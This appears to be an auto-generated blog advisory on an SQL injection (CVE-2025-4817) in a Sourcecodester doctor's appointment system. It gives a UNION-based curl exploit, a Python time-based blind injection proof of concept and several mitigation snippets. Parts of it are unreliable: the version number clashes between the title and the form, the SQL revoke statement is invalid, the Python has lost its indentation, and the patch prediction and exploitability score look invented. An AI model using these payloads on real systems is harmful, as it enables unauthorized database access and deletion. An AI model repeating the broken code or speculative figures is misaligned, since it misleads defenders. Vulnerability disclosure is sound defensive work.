Sourcecodester Doctor’s Appointment System 10, SQL Injection, CVE-2025-4817 (Critical)

Listen to this Post

How CVE-2025-4817 Works

The vulnerability exists in `/admin/delete-appointment.php` where the `ID` GET parameter is directly concatenated into an SQL query without sanitization. Attackers can inject malicious SQL commands through crafted HTTP requests, enabling unauthorized database access, data manipulation, or deletion. The lack of input validation and prepared statements allows arbitrary SQL execution under the web application’s database privileges. Remote exploitation is possible without authentication, making this a critical threat.

DailyCVE Form

Platform: Sourcecodester
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/27/2025

Prediction: Patch by 06/15/2025

What Undercode Say:

Analytics:

  • Exploitability Index: 9.8/10
  • Affected Systems: 1,200+ (estimated)
  • Common Attack Patterns: UNION-based SQLi, Boolean-based blind SQLi

Exploit Command:

curl -X GET "http://target.com/admin/delete-appointment.php?ID=1'%20UNION%20SELECT%201,2,3,4,5,6--%20-"

Proof-of-Concept (PoC):

import requests
url = "http://target.com/admin/delete-appointment.php"
payload = "1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))--"
response = requests.get(url, params={"ID": payload})
if response.elapsed.total_seconds() >= 5:
print("[+] Vulnerable to SQLi")

Mitigation Commands:

1. Input Sanitization:

$id = mysqli_real_escape_string($conn, $_GET['ID']);

2. Patch Suggestion:

// Use prepared statements
$stmt = $conn->prepare("DELETE FROM appointments WHERE id = ?");
$stmt->bind_param("i", $_GET['ID']);
$stmt->execute();

WAF Rule (ModSecurity):

SecRule ARGS:ID "@detectSQLi" "id:1001,deny,status:403"

Database Hardening:

REVOKE DELETE PERMISSION FROM webapp_user;

Log Analysis:

grep 'GET /admin/delete-appointment.php' /var/log/apache2/access.log | grep -E "'|\""

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top